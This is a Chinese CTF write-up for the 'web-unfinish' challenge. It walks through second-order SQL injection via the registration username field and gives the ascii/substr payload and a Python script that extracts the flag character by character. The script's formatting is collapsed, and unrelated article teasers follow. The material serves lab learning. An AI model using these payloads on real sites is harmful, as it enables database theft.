news 2026/4/20 3:20:02

[CTF]攻防世界:web-unfinish(sql二次注入)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
[CTF]攻防世界:web-unfinish(sql二次注入)

题目:web-unfinish(sql二次注入)

二次注入

打开页面是一个登录页面


步骤

  1. 扫描一下目录:


有登录有注册


  1. 先测试登录是否存在sql,测试了一下发现似乎不存在。

  1. 继续测试注册,先正常注册一个用户,登录看看。

    登录成功,能看到用户名。

  1. 试试再注册的时候,给用户名位置写上注入测试:0’+1+'0,登录后发现用户名变为1.

使用Burp Suite Fuzz 了一下,当用户名中有 information 或 , 时,会提示 nonono!!!


  1. 只能猜表名为flag.
    通过payload依次读取flag值:0'+ascii(substr(select * from flag) from 1 for 1)+'0

  1. 写个脚本,自动读出flag。

流程为:注册-》登录-》获取用户名值(ascii)

importrequestsimportreimporttime url="http://61.147.171.105:54224/"MAX_RETRIES_PER_POS=5# 重试 defget_flag():flag=""i=1# 从位置1开始whilei<50:email=f"user{i}@qq.com"username_payload=f"0'+ascii(SUBSTR((select * from flag) FROM {i} FOR 1))+'0"password="123"retry_count=0success=Falsewhileretry_count<=MAX_RETRIES_PER_POS:ifretry_count>0:print(f"[!] 尝试位置 {i} (尝试 {retry_count + 1})...")time.sleep(2)# 稍等再试try:print(f"[+] 尝试位置 {i}: {username_payload}")# 注册 r_reg=requests.post(url+"register.php",data={'email':email,'username':username_payload,'password':password},allow_redirects=False,timeout=10)ifr_reg.status_code!=302:# 可能是 SQL 错误或 flag 已结束(非网络问题)print(f"[-] 注册失败 {r_reg.status_code} 再位置 {i}. 结束.")success=True # 视为“正常结束”,跳出break# 登录 r_login=requests.post(url+"login.php",data={'email':email,'password':password},timeout=10)# 提取 ASCII match=re.search(r'<span class="user-name">\s*(\d+)\s*</span>',r_login.text)ifmatch:ascii_val=int(match.group(1))ifascii_val==0:print("[*] 结尾 (ASCII 0).")success=Truebreakchar=chr(ascii_val)flag+=charprint(f"[+] 位置 {i}: ASCII={ascii_val} => '{char}' | Flag : {flag}")success=Truebreakelse:print(f"[-] 找不到flag {i} :\n{r_login.text[:200]}")success=True # 无法提取,视为结束breakexcept(requests.exceptions.Timeout,requests.exceptions.ConnectionError)ase:retry_count+=1print(f"[-] 网络问题 position {i} (attempt {retry_count}): {e}")ifretry_count>MAX_RETRIES_PER_POS:print(f"[!] 超过最大重试 position {i}. 退出.")print("\n[!] flag (部分):",flag)returncontinue# 重试当前 i except Exceptionase:print(f"[-] 异常 position {i}: {e}")success=True # 非网络异常,不重试breakifnot success:print(f"[!] 错误 position {i} .")breakifsuccess and(r_reg.status_code!=302or(locals().get('match')andint(locals().get('match').group(1))==0)or notlocals().get('match')):breaki+=1# 成功获取一位,继续下一位 time.sleep(3)print("\n[!] flag:",flag)if__name__=='__main__':get_flag()


有疑问可留言解答…

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/18 13:48:49

高吞吐场景下 Kafka 消费者积压问题排查与解决

在大数据架构中&#xff0c;Kafka 凭借高吞吐、低延迟的特性成为消息队列的核心组件&#xff0c;广泛应用于日志收集、实时数据传输等场景。然而&#xff0c;当业务流量迎来峰值&#xff08;如电商大促、直播带货爆发&#xff09;时&#xff0c;消费者端常出现消息积压问题——…

作者头像 李华
网站建设 2026/4/18 3:51:25

Charticulator终极指南:零代码打造专业级数据可视化图表

Charticulator终极指南&#xff1a;零代码打造专业级数据可视化图表 【免费下载链接】charticulator Interactive Layout-Aware Construction of Bespoke Charts 项目地址: https://gitcode.com/gh_mirrors/ch/charticulator 想要快速创建精美数据可视化却苦于编程门槛&…

作者头像 李华
网站建设 2026/4/18 10:24:13

四旋翼的ADRC姿态控制总给人一种“玄学调参“的错觉,其实从模型到代码落地,整个过程比想象中有意思得多。咱先甩出核心公式——滚转通道的角加速度方程

四旋翼无人机ADRC姿态控制器仿真&#xff0c;已调好&#xff0c;附带相关参考文献&#xff5e; 无人机姿态模型&#xff0c;力矩方程&#xff0c;角运动方程 包含三个姿态角的数学模型&#xff0c;以及三个adrc控制器。 简洁易懂&#xff0c;也可自行替换其他控制器。 \dot{p}…

作者头像 李华
网站建设 2026/4/17 8:17:27

鸿蒙 Electron 深度整合:从桌面应用到鸿蒙全场景的进阶实践

开发者还需要面对鸿蒙分布式能力的深度调用、Electron 与鸿蒙的数据双向同步、跨端权限管理等进阶问题。本文将聚焦这些核心痛点&#xff0c;通过实战代码案例&#xff0c;展示鸿蒙 Electron 整合的进阶玩法&#xff0c;帮助开发者打造真正的全场景跨端应用。一、进阶整合的核心…

作者头像 李华
网站建设 2026/4/17 12:32:16

Wi-Fi CERTIFIED Optimized Connectivity™ 技术概述

引言 Wi-Fi CERTIFIED Optimized Connectivity 是一个 Wi-Fi Alliance 认证计划,它提供的功能可以优化发现 Wi-Fi 网络的过程,并在进出网络以及各网络之间建立连接。通过减少信令负载,这些优化还可以为所有连接到网络的用户带来更高的网络容量和更好的体验质量。 移动设备…

作者头像 李华
网站建设 2026/4/16 19:16:34

终极企业级权限管理方案:BootstrapAdmin让.NET开发效率飙升300%

终极企业级权限管理方案&#xff1a;BootstrapAdmin让.NET开发效率飙升300% 【免费下载链接】BootstrapAdmin 基于 RBAC 的 Net8 后台管理框架&#xff0c;权限管理&#xff0c;前后台分离&#xff0c;支持多站点单点登录&#xff0c;兼容所有主流浏览器&#xff0c;内置微信、…

作者头像 李华